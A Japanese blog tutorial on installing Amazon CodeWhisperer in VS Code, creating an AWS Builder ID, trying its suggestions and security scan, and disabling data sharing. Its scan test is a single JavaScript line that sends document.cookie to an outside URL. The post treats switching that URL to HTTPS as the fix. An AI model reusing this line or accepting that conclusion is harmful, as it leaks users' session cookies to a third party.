はじめに
今回は、AIコーディング支援サービスである、Amazon CodeWhispererを試してみました。
類似サービスのGitHub Copilotについて、試してみた記事も参考にしてください。
AIを活用することにより、初心者の方でもプログラミングに対するハードルは下がると思いますし、ベテランエンジニアでも不具合対応やよりよいコードを提案してもらえたらとても便利だと思います。
Amazon CodeWhispererについて
Amazon CodeWhispererは、開発環境 (IDE) でリアルタイムのコード提案を行ってくれます。
2022年にプレビュー版が公開されましたが、今回正式版になりました。
![](https://a0.awsstatic.com/libra-css/images/logos/aws_logo_smile_1200x630.png)
個人の場合は無料で利用することができます。
また、コードのセキュリティスキャンを行うことができます。
サポートされている言語は現時点で以下です。
Python, Java, JavaScript, TypeScript, C#, Rust, Go, Ruby, Scala, Kotlin, PHP, C, C++, Shell Scripting, SQL
コードセキュリティスキャンは、現時点で以下の言語に対応しています。
Python, Java, JavaScript
AWSアカウントを持っている必要はなく、メールアドレスのみで利用することができます。
インストール
様々なIDEをサポートしていますが、今回はVS Codeを利用します。
VS Codeのインストール方法は、以下の記事にまとめましたのでご覧ください。
VS Codeのオススメ設定や拡張機能などは、以下の記事にまとめました。
VS Codeを起動します。
拡張機能を開き、「AWS Toolkit」をインストールします。
![AWS Toolkit](https://chigusa-web.com/wp-content/uploads/2023/04/2023-04-20_22h17_20.png)
アカウント登録
AWSパネルを開き、「Connect to AWS to Get Started…」をクリックします。
![VS Code Connect to AWS to Get Started...](https://chigusa-web.com/wp-content/uploads/2023/04/2023-04-20_22h18_17-300x502.png)
「Use a personal email to sign up and sign in with AWS builder ID」を選択します。
![VS Code Use a personal email to sign up and sign in with AWS builder ID](https://chigusa-web.com/wp-content/uploads/2023/04/2023-04-20_22h19_33.png)
「Copy Code and Proceed」をクリックし、コードをコピーします。
![Copy Code and Proceed](https://chigusa-web.com/wp-content/uploads/2023/04/2023-04-20_22h23_46-500x147.png)
Webサイトを開きます。
![Code Webサイトを開く](https://chigusa-web.com/wp-content/uploads/2023/04/2023-04-20_22h25_00-500x149.png)
先ほどコピーしたコードを入力します。
![AWS authorize request](https://chigusa-web.com/wp-content/uploads/2023/04/2023-04-20_22h25_31-500x559.png)
メールアドレスを入力し、AWSビルダーIDを作成します。
![AWS ビルダーIDの作成](https://chigusa-web.com/wp-content/uploads/2023/04/2023-04-20_22h27_05-500x712.png)
名前を入力します。
名前は他のユーザにも表示される可能性があるとのことです。
![AWS Create your AWS Builder ID](https://chigusa-web.com/wp-content/uploads/2023/04/2023-04-20_22h29_03-500x767.png)
メールアドレスに検証コードが届きますので入力します。
![AWS Email verification](https://chigusa-web.com/wp-content/uploads/2023/04/2023-04-20_22h30_00-500x666.png)
パスワードを設定します。
![AWS パスワードを選択](https://chigusa-web.com/wp-content/uploads/2023/04/2023-04-20_22h31_58-500x646.png)
「Allow」をクリックします。
![](https://chigusa-web.com/wp-content/uploads/2023/04/2023-04-20_22h33_13-500x303.png)
これで使う準備が完了しました。
![AWS Toolkit for VSCode](https://chigusa-web.com/wp-content/uploads/2023/04/2023-04-20_22h34_25-500x380.png)
コーディング
それでは試してみましょう。
「Resume Auto-Suggestions」をクリックし、有効にします。
![Resume Auto-Suggestions](https://chigusa-web.com/wp-content/uploads/2023/04/2023-04-20_23h03_28-500x403.png)
コーディングを行うと、コードの提案を行ってくれました。
![Amazon CodeWhisperer コード提案](https://chigusa-web.com/wp-content/uploads/2023/04/2023-04-20_23h05_19.png)
セキュリティスキャンも試してみましょう。
スキャンしたいソースコードを開き、「Run Security Scan」をクリックします。
![Amazon CodeWhisperer Run Security Scan](https://chigusa-web.com/wp-content/uploads/2023/04/2023-04-20_23h15_14.png)
適当なコードを書きました。
location.href = 'http://chigusa-web.com/?cookie=' + document.cookie;
一つ問題を発見してくれました。
![Amazon CodeWhisperer 問題発見](https://chigusa-web.com/wp-content/uploads/2023/04/2023-04-20_23h16_39-1024x77.png)
暗号化されていないための警告です。コードをhttpsに変更したところ、改善されました。
CWE-319 - Insecure connection using unencrypted protocol: Connections that use insecure protocols transmit data in cleartext. This introduces a risk of exposing sensitive data to third parties.
データの共有について
CodeWhispererは、AWSのサービス改善の目的で、使用状況とコンテンツに関するデータを保存する場合があります。
VS Codeで無効にする方法は以下です。
テレメトリの共有
「Enable AWS Toolkit to send usage data to AWS.」のチェックをオフにします。
![Amazon CodeWhisperer Enable AWS Toolkit to send usage data to AWS](https://chigusa-web.com/wp-content/uploads/2023/04/2023-04-20_23h28_31.png)
コンテンツの共有
「Share CodeWhisperer Content With AWS」のチェックをオフにします。
![Amazon CodeWhisperer Share CodeWhisperer Content With AWS](https://chigusa-web.com/wp-content/uploads/2023/04/2023-04-20_23h30_05.png)
注意点
提案されたコードが正しいかどうかは、必ず確認する必要があります。
不具合・脆弱性がある場合や、提案されたコードよりもっと良いコードがあるかもしれません。
さいごに
今回は、AIコーディング支援サービスである、Amazon CodeWhispererを試してみました。
コーディングをするのが便利になるでしょう。
是非試してみてください。
コメント